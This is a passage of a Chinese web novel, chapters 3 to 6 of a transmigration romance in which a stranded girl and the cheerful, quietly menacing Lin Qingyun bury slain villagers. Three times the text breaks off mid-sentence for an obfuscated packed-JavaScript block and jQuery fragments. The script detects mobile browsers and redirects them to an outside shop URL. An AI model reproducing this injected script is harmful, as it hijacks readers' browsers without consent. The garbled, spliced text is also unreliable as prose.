《我生来最恨反派》 3. 漏洞百出 林青云微笑着看着荷濯茗——荷濯茗想了想,见他不说话,也没搞懂他是什么意思,便同样对他露出一个笑脸示好,转头拿起他刚放下的水囊一阵咕噜咕噜的灌水。 他水囊里的水是甜的。 荷濯茗喝饱之后抹了抹嘴,低头一看自己手背上脏兮兮的,袖子上也脏兮兮的。 眼下她已经吃饱喝足,满足了最基础的生存需求后,荷濯茗难免就要产生些更高一级的需求:比如说她现在很想洗澡,如果可以洗个热水澡,那就更好了。 她放下水囊,瞥了一眼林青云,见他仍旧笑笑的望着自己——荷濯茗心里不禁犯嘀咕:他在笑什么?又一直看着我干什么? 林青云在等荷濯茗解释自己的名字是哪三个字。 一般别人向他介绍自己的名字,都会在说完之后,又写一遍给他的。 然而荷濯茗踌躇半晌,再度开口时却问:“那个……男——林,林……” 林青云:“叫我青云就好。” 荷濯茗松了口气,“噢,青云——我想洗个热水澡,能不能跟你借一套干净的衣服啊?” 林青云第一次听到这样的要求,眨了眨眼,没有立刻回答。 荷濯茗缺心眼,问完之后就眼巴巴看着他——他一时半会不说话,荷濯茗也没怀疑是人家不愿意借,还寻思男主反应有点迟钝。 二人四目相对,片刻寂静。 林青云最后还是露出来一个笑脸,道:“当然可以。那边的柴房有灶台,那边是井口,你想洗热水澡的话,打水上来烧热就可以洗了。” “给,这是蜡烛,你可以拿进柴房里照明。” 荷濯茗眼睁睁看着他手腕一转,掌心就出现了一根白蜡烛,简直像是在变戏法。 她接过蜡烛,又好奇看着林青云的手——荷濯茗脸上的好奇神色实在是过于明显,林青云看出来了,主动解释:“我有一个芥子界,就像寻常修士随身携带的储物袋一样,可以存放些许杂物。这些东西一开始就放在我的芥子界中,并不是凭空出现的。” 荷濯茗连连点头,装作恍然大悟:“原来如此——” 实际上并没有听懂。看小说的时候遇到掏法器和水字数战斗环节,她都是直接跳过的。 不过男主是真的很好心,自己都没问,他就先给自己解释了;想到自己以前还在评论区骂男主见到女的就马上舍命相救,是无可救药的圣母病,荷濯茗顿时感到十分羞愧。 她捧着蜡烛,真挚的对男主道:“对不起。” 林青云保持微笑:“?” 他还在等荷濯茗的下一句话,结果荷濯茗说完对不起就跑掉了,徒留林青云一个人在原地茫然的保持微笑。 他疑惑的侧过脸,看向荷濯茗背影;少女正拿着蜡烛向火堆借火,点燃后便端着蜡烛跑到井口处打水。 井口旁边就有水桶,荷濯茗看那水桶也不大,想来自己能拎得动——她又研究了一下辘轳,很不熟练的把水桶绑上去,吊下井。 夜很黑,烛光也照不到井底,荷濯茗不知道这口井有多深,只好一直把水桶往下放。 在重复摇辘轳的时候,荷濯茗的脑子放松下来,开始胡思乱想;她一会想自己那个装着金子珠子的包裹,不知道这个世界的钱币是怎么算的,金子能值多少钱,那些钱够自己花吗?一会又想不知道灶台要怎么用,洗冷水行不行? 她从没干过家务活,长这么大,连自己的袜子都没洗过,自然也不会用灶台烧水。 她一边胡思乱想着,一边把浸满水的水桶吊起来,拎进柴房。 蜡烛光摇摇晃晃,照得整个柴房昏昏暗暗。荷濯茗借着光把屋里打量一番,没看懂灶台要怎么使用,但是看见墙边靠放着一把镰刀,便顺手拿来放在近旁。 自然,荷濯茗也不会用镰刀的。 不过她觉得手边有个触手可及的武器,会很有安全感。至于那个根本看不懂的灶台,荷濯茗已经放弃,决定洗冷水澡了。 她找到了一个足够大的木桶,把冷水倒进去,看着水不太够,又跑了两趟,才将木桶装满一半。 林青云看她忙活得差不多了,便走到柴房窗边,将一套干净的衣服鞋袜放到窗台上,道:“衣服我放在这了,我人就在篝火旁边,如果遇到奇怪的事情,可以叫我。” 荷濯茗疑惑:“奇怪的事情是指……” 林青云笑眯眯的暗示道:“秽神身边一般都会聚集许多助纣为虐的妖鬼。” 他笑起来自然是很可爱的,但说的话却很恐怖。 荷濯茗回想起那尊容貌诡异的神像,不由得打了个寒噤,连连点头:“我、我会小心的!” 林青云叮嘱完,便转身走开,非常坦荡并且很君子的一直拿后背对着柴房窗户。 不过荷濯茗压根没注意到这点,她拿过那套衣服后,就将窗户关上——而后又盯着关上的窗户看了一会,荷濯茗还是重新把它打开一条缝隙。 她脱下衣服鞋袜,泡进去洗澡时发现井水比自己想象中的还要冷,冻得她直打哆嗦,不禁又委屈的掉了会眼泪,同时坚定了一个念头:她一定要想办法回到现代去! 就是不知道要怎么回去。 我是怎么穿越到这个世界来的? 荷濯茗咬着手指努力回想,但那些记忆模模糊糊如同隔雾看花,根本看不清楚。 她既记不起来自己是怎么穿越过来的,并且也快要把小说剧情都给忘光了。这种‘忘记’并不正常,就好像有一个橡皮擦在擦掉荷濯茗的记忆,可是她又没办法阻止。 她越回想,越因为记忆模糊而觉得害怕,一害怕,就没出息的一直掉眼泪。忽然间,男主那张笑盈盈的,总浮着梨涡的脸,一下子出现在荷濯茗脑海里。 男主人那么好,是原著盖章的绝不会骗女人的男人——他是不是能帮到我呢? 荷濯茗迟疑着,悄悄靠近窗户处打开的那一线缝隙。木桶里冰冷的井水,随着她的移动而泛起微微波澜。 她趴在窗台上,从缝隙处往外看:外面到处都很昏暗,篝火光不稳定的晃动,将背对柴房窗户的年轻人勾画出模糊轮廓来。 他的耳坠子很显眼,也不知道是什么材料做的,被篝火光一照,亮闪闪,跟星子一样,在他耳际一晃一晃,吸引着人的视线。 忽然有一阵夜风吹过来,吹得篝火骤然往上窜起来半截,也吹得荷濯茗一个哆嗦,没忍住打了个喷嚏。 她自己吓了一跳,连忙转身屏气潜进水里,心脏在水底咕咚咕咚得跳,不知为何很紧张,睁大的眼睛眼看着一连串气泡从自己鼻子尖往上冒。 半晌,一口气快要憋不住了,荷濯茗才狼狈的冒出水面大口呼吸。 她捋了捋挡住视线的湿发,又小心翼翼凑近窗户缝隙看了眼外面——男主好像什么都没发现,仍旧背对柴房窗户坐在篝火堆边,耳际的长坠子一闪一闪。 荷濯茗松了口气,拍拍自己胸口,“嗨呀,自己吓自己……” 林青云屈指一弹,将燃了一半的招风符扔进篝火堆里,双眸笑弯弯的,嘴上自言自语:“嗨呀,自己吓自己~” 他说出口的话,完全是荷濯茗刚刚说话的语调。 不一会,有脚步声从柴房里走出来——林青云偏过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347201|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头去看,只见荷濯茗湿着头发走了过来,她的脸都洗干净了,眼眶红红的,还有点肿,好似哭过许久。 他的衣服套在荷濯茗身上,委实是大了许多,她不得不把衣袖和裤腿全部都卷起来,露出手腕和半截小臂。 林青云借给她的衣服是红衣,烈红色彩衬得她肤色很白;这让他想到了见荷濯茗的第一面,那时候她穿着红嫁衣。 虽然是做戏,但那确实是他头一回当新郎,头一回和女孩子拜天地。一拜的时候小姑娘哭得好丑,搞得他都不想走流程了,想掏点糖出来哄一哄她,好教她不要再哭了。 荷濯茗拧着滴水的头发,蹲下来靠近篝火——她想借火焰的热烤一下头发,好让它快点干。 然而不等她将脑袋凑近篝火,林青云先把脑袋凑了过来。 林青云好奇:“你在干什么?” 他突如其来的凑近,弄得荷濯茗一愣,慢半拍的回答:“……烤头发。” 林青云握住她肩膀,把她身子扳过来,道:“你这样直接凑过去,会把头发点着的。我来帮你。” 荷濯茗还沉浸在这人劲儿真大,一只手就能握住自己肩膀的震撼中——林青云已经伸手捧住她头发。 一丝一丝的水珠从她发间分离出来,落入地面,不过几息功夫,便已经让荷濯茗头发恢复了干爽。 林青云将手指穿入她厚密乌发间拨弄了两下,又松开手,笑眯眯道:“好了。” 荷濯茗后知后觉,伸手摸着他刚才拨弄过的头发,感觉哪里有点怪怪的。 这就是中央空调集中供暖的威力吗……啊呸! 什么中央空调!这是善良体贴心细温柔!这是男主的优秀人品! 荷濯茗真挚道:“谢谢……青云,你真是个好人,谢谢你借我的衣服,还帮我烘干头发。” 林青云:“不用谢——你的眼眶怎么红红的,你哭了吗?” 荷濯茗:“嗳……” 林青云伸出食指,指尖轻轻按在她眼角。 他的手指好冷,像石头一样毫无温度,但触碰了一会荷濯茗眼尾后,也渐渐染上她皮肤上的温度。 荷濯茗有些不适应的眨眼,眼尾的眼睫毛扫过林青云指尖。 她道:“洗澡的井水太冷……就哭了一会。” 林青云恍然大悟:“原来如此。” 他收回手去,并一下子和荷濯茗拉开了距离——荷濯茗看见他身上穿着同自己这身一样的红衣。 之前没有仔细看,荷濯茗还以为是他没脱新郎服。 原来不是新郎服。 她摸了摸自己眼尾,刚才被林青云手指碰到的那块皮肤还有点冰。 正常人的手不会那么冷,而且这还是在夏天——只可惜荷濯茗依旧没有意识到这个问题。 一阵马蹄声由远及近,荷濯茗循声抬头:只见微亮的天光中,那匹青骢马慢悠悠走了过来。 马嘴里还叼着一把铁铲。 青骢马走到两人身边,松开嘴把铲子丢下;林青云站起来,拍了拍马脖子,笑眯眯夸它:“好马儿,好马儿——” 荷濯茗也站起来,好奇的观望着那匹马。 很神骏高大的一匹马,立在那里足有她脖颈那样高,浑身毛发油光发亮,像是马身子上挂了匹绸缎一样。 林青云一手拉住辔头上绕的缰绳,一手拿起铁铲,转过头对荷濯茗道:“现在天色已经要亮啦~你快骑上青阳出山,去找你的亲戚吧。” 荷濯茗抬头往天上看:太阳还没出来,但天色确实亮起来了,星星和月亮都暗淡得像掉色,将熄未熄的挂在天边。 4.报恩 她昨天确实跟林青云说过,要出山去找亲戚之类的话——但昨天是昨天,今天是今天,人总归是善变的。 荷濯茗磨磨蹭蹭的走到青骢马旁边,装模作样摸着马背上的藤编坐垫,道:“我、我一个人走吗?你刚刚不是说,秽神周围通常会聚集很多妖鬼……我半路要是碰上妖鬼了怎么办?” 林青云:“青阳会避开它们的。” 荷濯茗:“那——那万一要是,没避开呢?” 林青云微笑道:“青阳很聪明的,你不用担心这个。” 他言辞诚恳,荷濯茗绞尽脑汁也想不出反驳的理由,直到眼角余光扫到他手上铁铲——荷濯茗干咳一声,很生硬的转移话题,“你拿铲子做什么?” 林青云依旧耐心的同她解释:“我昨天不是跟你说过吗?死者为大,我得帮野庙里那些死了的村民下葬。” “死的人那么多,我得挖很多坑,才能让他们全都入土为安。” 荷濯茗闻言,眼睛一下子就亮了,“那我也来帮你好了!” 林青云:“但你不是要去找亲戚……” 荷濯茗义正严词道:“你救了我的命,是我的救命恩人,我怎么能只顾着自己的事情,而让你一个人挖那么多坟呢?不行不行,我一定得留下来帮你,你就当是给我一个报恩的机会吧——如果我亲戚知道我是为了报恩,肯定也会支持我的!” 她一口气说完了一长串话,自认为有理有据条件充足,但还是害怕林青云会拒绝自己,所以说完话后便眼睛眨也不眨的盯着他。 林青云同她双眸对视片刻,倏忽改变主意,笑着答应:“好呀,那你来帮忙吧。” 工具不用担心,农舍柴房里就有现成的。荷濯茗也从里面找出一把铁铲,跟着林青云到野庙里去——他们穿过田埂,两边都是及腰的青青稻苗,那匹青骢马跟在荷濯茗身后,走得慢慢悠悠,不慌不忙。 走到一半,太阳升出来了,晒得人身上热热的。 荷濯茗额头上很快就被晒出一层薄汗 ,她抬起胳膊用衣袖擦汗,忽然意识到总跟在自己身后的马蹄声不见了,回头去看时,忍不住大叫:“青云!你马不见了!” 林青云镇定自若道:“它经常不见,不会有事的。” 荷濯茗:“它其实不是普通的马吧?” 林青云回答:“嗯,其实是龙来着。” 荷濯茗:“……说是龙的话就有点假了。” 林青云爽朗的笑,“是吗?我以为会很有意思呢哈哈哈——” 边说话边走路,二人很快就越过稻田,到了野庙面前。 野庙外面的墙壁上还贴着红双喜的剪纸,屋檐处仍旧张灯结彩,没有什么变化。 荷濯茗扒着敞开的庙门,十分谨慎的探头往里瞥:庙里倒满尸体和脑袋,中央那座邪诡的神像被人从正中劈成了两半,分别朝着两边倒下了。 林青云本来要直接进去,见荷濯茗狗狗祟祟的模样,觉得好玩,于是跟到她身后,也探头往野庙里面看。 荷濯茗道:“都过去两天了,又是夏季,这么热,这些尸体居然都没有烂掉。” 林青云:“受到秽神影响的人,死后尸体也会异于常人,异常的情况会根据他们所侍奉的秽神而所有不同。” 秽神,顾名思义,即不洁净不正道的神——在《问道》的世界观中,假借神明名义为自己建观立庙,收取香火的精怪,便是秽神。 但不是随便什么精怪都能当秽神的,能霸占一方土地,拥有庙宇的精怪,即使力量不足以和正神相提并论,那也是实力强大的一地妖王。只要性情不过于残暴,修士们并不会去同它作对。 至于真正的正神——只要秽神不在他们地盘上兴风作浪,正神就更加不会轻易出手了。 不过荷濯茗模糊记得,男主十分厌恶秽神,已经到了冒头就秒的地步。 但荷濯茗穿越之前所看的剧情里,好像并未提到男主厌恶秽神的原因——等等,是作者还没写到,还是自己又忘记了? 荷濯茗迷糊了一瞬,分不清楚,但她很快想到男主本人此刻就站在自己身后;荷濯茗曲起胳膊,用胳膊肘撞了撞林青云胸口,问:“我问你噢,你为什么要杀这个秽神啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350511|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林青云低头看了眼自己胸口,又看看荷濯茗头顶。 她问话的时候甚至没有回头看他。 林青云伸手摁住她的脑袋,将其转向自己。 荷濯茗:“?” 林青云笑眯眯:“看着我的眼睛,再问一遍。” 荷濯茗不明所以,但是照做,看着林青云的眼睛再问了一遍。 林青云回答:“我不是要杀秽神,我是觉得这个村子里的人很可怜——被秽神控制,失去耳朵和舌头,变成半人半妖的怪物。” “人变成怪物,本身就已经很可怜了,还要为秽神承担繁衍的任务,再生下一窝小怪物,那样活着又有什么意思……我得帮助他们呀。” 他言辞诚恳,说话时脸上还浮着很淡但非常可爱非常有亲和力的浅笑。 荷濯茗感觉他说的这句话有点怪——她一边觉得林青云的想法很善良,一边又觉得这人杀了好多人挺……挺…… 看着林青云垂向她的面孔,笑盈盈面颊上的梨涡,荷濯茗又没办法对着他的脸说出任何一句负面形容词。 正当她陷入纠结时,林青云忽然松开她脑袋,转而在她面前打了个响指:“不要发呆,开始干活吧小荷!” 荷濯茗回过神来,但还有些糊涂,抱着铲子跟在林青云身后踏入野庙。 在门外看着是一种感觉,进入门内又是另外一种感觉——扑面而来强烈的血腥气,熏得荷濯茗整张脸都皱了起来,并且眼泪先于思考能力的从她眼眶里涌出。 她一边用袖子擦着眼泪,一边小心翼翼避开地面尸体和头颅,意图在满地凌乱中找到一个可以下脚的地方。 只要能让她不踩着尸体就行,至于干净——荷濯茗已经不做要求了;因为野庙内的每一块地砖上,都浸满了凝固的乌色血迹。 不同于下脚磕磕绊绊走得举步维艰的少女,林青云脚步轻快,走在这种抛尸地一样的地方就像走在平地上一样,而且还能保证自己不踩着任何一具尸体或者脑袋。 他拎起就近的一具尸体,辨认片刻后从地板上拾起与其对应的脑袋,将其安回去。 5.爱与不爱 荷濯茗走来走去,找到一具看起来不太高大的尸体,想把他抬起来——但到了要下手的时候,她绕着尸体转了一圈,又感到十分为难。 如果抱尸体腋下,那尸体断掉的脖颈就会靠着她胸口……不成不成,这尸体虽然没烂,可是断开的脖颈好恐怖,她会被吓晕的! 但如果拖双脚,因为地面不大平整,障碍物太多,尸体会拖不出去。 她感到左右为难,犹豫片刻,想寻求参考,便转头去看林青云:只见林青云正蹲在地上给尸体拼脑袋。 林青云拼完手上那个,像拎纸片一样轻松的把尸体拎起来,扔到野庙外面的空地上。扔尸体时他人站在原地,双脚动也没动一下,但是被扔出去的尸体落地时却很完整,被安上去的脑袋仍旧好好的待在脖子上。 荷濯茗装模作样拽了拽尸体的脚腕,以此来表达自己有在干活,心里却分神的想着:也不知道他是怎么把断掉的脑袋安回去的……居然能一口气砍下这么多人的头…… 她没亲眼看见林青云是怎么砍下人头的——新郎官大开杀戒的时候,新娘子忙着满地乱爬逃命呢,哪里有空抬头往上看。 忽然,林青云喊她:“小荷,把你左边那颗头捡过来给我。” 荷濯茗应了一声,憋住气将他点名的那颗脑袋捡给他。 林青云接过脑袋,十分果决的将其安到面前无头尸体上。 荷濯茗很怀疑:“这是他的头吗?” 林青云往尸体脑袋死不瞑目的眼睛前面打了个响指:“你好,这是你的头吗?” 尸体自然不会说话。 林青云仰起脸对荷濯茗甜甜一笑,道:“他没说不是,那就是了。” 荷濯茗:“……” 她怀疑林青云在给尸体乱拼脑袋,但是没有证据,因为当事人全都没有提出意见。 原本毫无头绪的搬运工作,好似突然间就有了分工——林青云开始不停指挥荷濯茗去帮他捡到处掉落的脑袋,而把尸体搬出去的活儿则全部由他做了。 刚开始荷濯茗还觉得很恶心,要用袖子包着手才肯去碰那些脑袋。后面捡得多了,她对各色各样的人头都产生了一种麻木感,甚至已经不像开始那样害怕了。 等到野庙里的尸体全都搬完,荷濯茗低头往自己衣角上擦手——刚才摸了太多脑袋,弄得她手上都是血渍。 林青云见了,也走过来,拉过她的一截衣角给自己擦手。 红衣的好处就在此时体现了出来,用来擦了血迹也不会显脏。 荷濯茗看了看被林青云攥住擦手的一截衣角,思索片刻,放开自己衣服,也拉过他衣摆一角,裹住自己手指仔细擦拭。 两人衣服颜色款式皆一致,林青云的衣服自然也是擦了血迹不显脏的。 林青云还是头一次被人拉过衣摆擦手,感觉有些稀奇,在她擦手时便一直盯着她的脸——小荷明明什么活儿都没干,只是捡了几颗头而已,但已经累得额头脖颈上都是汗珠,心跳声也变得好快好急促,简直像是要猝死一样。 好弱噢。 放她一个人在外面乱跑,很快就会死掉的。不是被妖怪吃掉,也一定会被人‘吃’掉。 林青云由衷的发出感慨:“小荷,你是怎么长到这么大的?” 荷濯茗被问得一头雾水,但还是乖乖回答:“我爸爸妈妈把我养大的。” 林青云愣住,旋即感到不可思议起来——小荷又弱又爱哭,除了长得有点可爱之外简直可以说是一无用处,怎么会有父母愿意养着一个无用的累赘? 林青云忍不住问:“小荷的爸爸妈妈是谁?” 荷濯茗:“爸爸妈妈就是爸爸妈妈呗……” 林青云:“那爸爸妈妈是怎么把小荷养大的?” 荷濯茗:“爸爸妈妈努力工作赚钱把我养大的——谢谢你的衣服噢!” 见自己十根手指都已经擦得干干净净了,荷濯茗松开林青云衣角,顺手把自己的衣角也从他掌心拽走。 她都没有用林青云衣服来擦手了,那林青云当然也不可以继续用她的衣服来擦手。 搬了那么多脑袋,实在是累坏了荷濯茗。她走到神台边坐下休息——林青云偏过脑袋,目光追随着荷濯茗移动,他好像突然就对荷濯茗的父母起了兴趣,追问:“小荷的爸爸妈妈为什么要养大小荷?” 荷濯茗觉得这个问题很莫名其妙,道:“因为我是爸爸妈妈的小孩啊。” 林青云:“就这样?” 荷濯茗点头:“就这样。” 林青云歪了歪头,脸上都不笑了,只余下无法理解的困惑,“我还是不明白……为什么呢?” 荷濯茗理所当然的回答:“因为爸爸妈妈很爱我所以把我养大了。” 林青云死死盯着荷濯茗的脸,盯着荷濯茗的眼睛——他从女孩子的神态里窥探她的情绪,想看到哪怕是一丝一毫的—— 自欺欺人的麻木,被教化的畏惧,不对等地位里真情假意掺杂的计算…… 随便什么都好,至少应该有点什么——父母和孩子之间的感情,不就应该是这些吗? 他甚至去窃听少女的心声,考虑过或许是自己看走眼,她并非看起来那样单纯率真,而是一个做戏高手。 他很擅长看穿别人,大部分时候他要看透一个人在想什么,根本用不着去听别人的心声。因为每个到他面前的人都有求于他,而欲望是这个世界上最难隐藏的东西。 他在这方面从来不失手。 可是荷濯茗里外如一。 她所说的话就只是字面意思,没有任何隐瞒扭曲和自我欺骗。 ……怎会如此坦诚? 林青云注视她半晌,而荷濯茗一点也没察觉到他强烈的目光,只顾着锤锤自己的腿,又捏捏自己酸痛的肩膀和脖颈。 林青云幽幽的问:“所以不养的孩子,就是父母不爱的孩子吗?” 荷濯茗想了想,道:“愿意养的小孩不一定是父母心爱的小孩,但不愿意养的小孩肯定是不爱。” 林青云倏忽往前几步,跨过暗红斑驳的地砖,走近荷濯茗面前——野庙内的阳光本就不盛,他往荷濯茗面前站定,便挡住了荷濯茗能晒到的所有太阳光,阴影将荷濯茗整个人盖住。 荷濯茗茫茫然仰起脸看他,见他略微俯身,单手撑在了她坐着的神台上。 两人的距离一下子拉近,荷濯茗过度迟钝的发现林青云神色不似平时——他没有笑,弧度漂亮的唇平直的垂着嘴角,长耳链的珠光晃在他脸颊上,那双眼睫过密的眼眸在不笑时显得有些…… 冷冷的。 在林青云没有靠近之前,荷濯茗还感觉野庙内十分闷热,并且充斥着一股腐朽血液的腥臭味。 而当林青云带来的阴影将她盖住时,荷濯茗竟感到了一股微妙的寒意,以及花香气。 他们已经离得很近,近到荷濯茗曲起的膝盖抵着林青云大腿,近到荷濯茗能感觉到那股海棠花香气凉幽幽扑在自己脸颊上。 然而林青云却还在缩短这少得可怜的距离——他撑在荷濯茗身边的手臂慢慢曲起,脸也离荷濯茗越来越近。 荷濯茗不自觉往后仰了一点距离,两侧手臂亦撑在神台上。 她不明白林青云为什么靠得这么近,但是能感觉到自己心脏跳得好快,甚至远比刚才干活的时候还快——荷濯茗怀疑林青云是不是想亲她。 然而,下一秒——林青云偏过脸,并没有亲她,只是嘴唇凑近荷濯茗耳边:“所以现在孤身一人的小荷,是没有爸爸妈妈爱的小孩吗?” 因为离得很近,所以林青云说话时,会有温热的气息吹到荷濯茗耳朵上。 他那枚长耳链正好垂在两人贴近的脸颊之间轻轻摇晃,蜻蜓点水般,一下一下吻过荷濯茗脸颊。 姿态暧昧,声音轻柔,言语恶劣。 这种时候林青云又笑了,浓密眼睫下乌黑的瞳孔微微侧转,死死盯着荷濯茗的脸——笑容很甜蜜,但他瞳孔里却有尖锐恶意。 荷濯茗这才意识到林青云不是要亲自己。 他只是要和自己说话而已,就是说的话很不中听,但细一回想,原著男主好像确实有说话不中听这一特质。 但男主只是表达能力很差,实际上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357513|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有坏心思。 荷濯茗往旁边挪了挪,又将上半身往反方向歪,好和林青云凑近的脸拉开距离——她的脸因为心率过快而很热,但林青云的耳坠又很冷,碰得她有点不舒服。 荷濯茗:“当然不是!因为我又不是自愿孤身一人的,我是被骗到这里来的……我爸妈现在肯定在到处找我,急都急死了——这都要怪那个小瘪三!” 说到父母,她蹙眉皱脸,提到‘小瘪三’,她咬牙切齿,握拳恨恨的一锤神台,正好锤到林青云撑在上面的手指。 林青云看着自己被锤红的手背,沉默片刻,自己把手收了回来,一转身也挨着荷濯茗坐到神台上。 林青云:“小……瘪三?” 荷濯茗愤愤道:“一个坏种!死反派!就是他把我骗到这里当新娘的!噢,对了,青云你以后也会遇到这个人,一定要小心他——他叫棠疏雨,坏得流脓!恶毒下流没品死猪头!这个人嘴里没有一句实话,不管他和你说什么,你都不要相信他!” 林青云挑眉:“棠……疏雨?” 荷濯茗点头:“对!就是这个人!” 林青云:“……他跟你说他叫棠疏雨?” 荷濯茗:“对啊,我还确认了好几遍……你不会已经认识他,已经被他骗了吧?!” 荷濯茗猛的转头盯着林青云——林青云弯起眼眸笑眯眯道:“哈哈,不认识啦~就是觉得这个名字挺好听的,光听名字,感觉他不像一个坏人耶。” 荷濯茗跳下神台,恶狠狠道:“我之前也和你一样,都被这个名字骗了。死骗子!不仅说的话会骗人,就连取的名字也会骗人!” “等我回到家,我将成为坚定的男主派,每日辱骂死反派打卡,把他的周边全部贱卖——哼!本人跟同人图长得根本是两模两样!如果不是同人图……” 说到同人图,荷濯茗回头看了一眼林青云。 林青云接收到她的目光,仍旧保持开朗无害的笑脸——实则从荷濯茗说到‘回家’往后,那一大串话他都没听懂。 但他听出来了荷濯茗是在骂‘棠疏雨’。 荷濯茗走过来拍了拍林青云的肩膀,认真道:“你比反派好看多了,我回家以后一定用钞能力去找最好的画师给你约同人图,保证还原你的美貌!” 林青云不语,因为完全听不懂,所以只是微笑。 荷濯茗拿起铲子,又活动了一下胳膊,中气十足的说:“我已经休息好了!我们去挖坑吧——噢对了,你下次说话不要凑我那么近。” 说到最后一句话时,荷濯茗忍不住摸了摸自己脸颊,总感觉那块皮肤上还残留被耳坠触碰的冰冷。 林青云垂下眼,反问:“为什么?” 荷濯茗回答:“因为你的耳坠好冰,碰到我的脸很暧昧很奇怪……你为什么只戴一边耳坠啊?” 林青云笑眯眯道:“啊,这个耳坠其实是星星来着,只戴一边是因为还没有找到另外一颗相称的星星。” 荷濯茗:“……好假。” 林青云:“哈哈哈哈哈会吗?我以为会很有意思耶~” 他说话语气又恢复了轻快,笑起来眉眼弯弯,梨涡甜甜的浮在脸颊上,毫无压迫感和威胁的模样,好似刚才谈及父母话题时所流露的恶意全都不曾存在过。 而荷濯茗依旧很不会读空气,压根没有察觉到恶意。 天气热得要死,蝉在没完没了的叫。 林青云找了一个风水宝地,说是把村民埋在这里,可以保佑他们来世投个好胎——荷濯茗不禁在心里感慨:不愧是善意泛滥的男主,甚至还为死人考虑来世。 要她说,这个村子里的人全都死掉好了;反派把她骗去卖是下三滥,买新娘的村子也不是什么好东西,管他来世做猪做狗勒! 要是真能让他们做猪做狗,都侮辱小猪小狗了。 荷濯茗一边在心里碎碎念骂人,一边勤劳的努力用铲子挖地。 林青云在旁一边挖地,一边听荷濯茗骂‘棠疏雨’和村民加起来都不如猪和狗,听着听着,他不禁笑了起来。 小荷骂人骂得好有礼貌啊。 6.来历 荷濯茗中暑了。 林青云可以对自己发誓,荷濯茗在那挖地的时间连半个时辰都不到,她挖出来的那个坑浅得连埋一条狗都费劲;与之形成鲜明对比的,是林青云的劳动成果已经埋进去三具尸体了。 结果挖着挖着,他就看见荷濯茗直挺挺的倒了下去。 地面那么硬,小荷说不定摔一下就摔死了——为了不让小荷摔死,林青云赶在她倒地之前接住了她,将她挪到一旁的树荫处躺下。 荷濯茗是躺了,但林青云还得干活。他看了眼还在等待下葬的尸体们,叹了口气,认命的拿起铲子开始挖坑。 等荷濯茗再次醒过来的时候,天色已经变成月光明亮的夜晚。 被林青云选定的那块风水宝地,白天的时候还是一片荒地,现在却已经堆满坟包,立好了无字碑,白布魂幡——甚至地上还撒着纸钱。 一丛篝火燃在坟包中间,并散发出食物的香气;是林青云在新鲜出炉的乱葬岗坟包中间烤肉。 荷濯茗脚底发飘的凑过去,坐在林青云旁边,张嘴想问这是什么,结果嘴巴一张开,口水先于话语流了出来。 她感觉到丢脸,慌乱的卷起自己衣角擦拭自己下巴,尴尬得把没说出口的话又给咽了回去。 不知道男主有没有看见——荷濯茗心里没底,眼神自认为很小心很隐晦的往林青云那边瞥。 正对上林青云笑盈盈望着自己的脸。 荷濯茗沉默片刻,把脸转开,恨恨轻拍了下自己嘴巴:早知道昨天晚上多吃几个馒头了,也不至于饿成这样。 林青云问:“烤的野鸟,吃吗?” 荷濯茗把脸转回来,面朝篝火,正襟危坐:“吃。” 林青云笑了笑,把穿着野鸟的木枝递给荷濯茗,提醒她道:“刚烤好,小心烫。” 荷濯茗端着烤鸟,试探性的去掰其翅膀,结果马上被烫得连连甩手龇牙咧嘴。 她含住自己被烫红的指尖小口吸气,眼睛仍旧黏在烤鸟上不愿意挪开。只是荷濯茗想不出有什么能给烤鸟急速降温的办法,只好瞪着眼睛干等,默默在自己心里着急。 在荷濯茗饿巴巴等待烤鸟降温时,林青云不知道从哪里又掏出一根洗干净了的树枝,往上面串第二只处理过皮毛的野鸟。 林青云:“你还有哪里不舒服吗?” 荷濯茗:“我好饿……好饿算不舒服吗?” 林青云想了想,笑着说:“也算。除了饿呢?头会不会晕,人会不会想吐?” 荷濯茗认真回答:“头不痛,但饿得有点想吐——对不起啊,我本来是说要给你帮忙的,结果自己睡着了。” 林青云:“……小荷,你有没有想过,你不是睡着了,你是热晕了,中暑了。” 荷濯茗闻言大惊,震惊到目光甚至短暂的从烤鸟上移开了,看向林青云:“那是中暑吗?我就感觉困困的,还以为是犯下午觉了!” 荷濯茗从来没有中暑过,在她的概念里自己就不会中暑。 现代发达科技就这样溺爱小孩,一年四季都能靠工业产物调节成最舒服的温度,荷濯茗从小到大得过最严重的病只有季节性感冒。 林青云因为她的震惊而震惊,感慨:“小荷,你能活这么大真不容易。” 荷濯茗摸了摸自己的脸,嘀咕:“不烫啊……” 林青云:“因为我已经用湿手帕给你敷过额头了。” 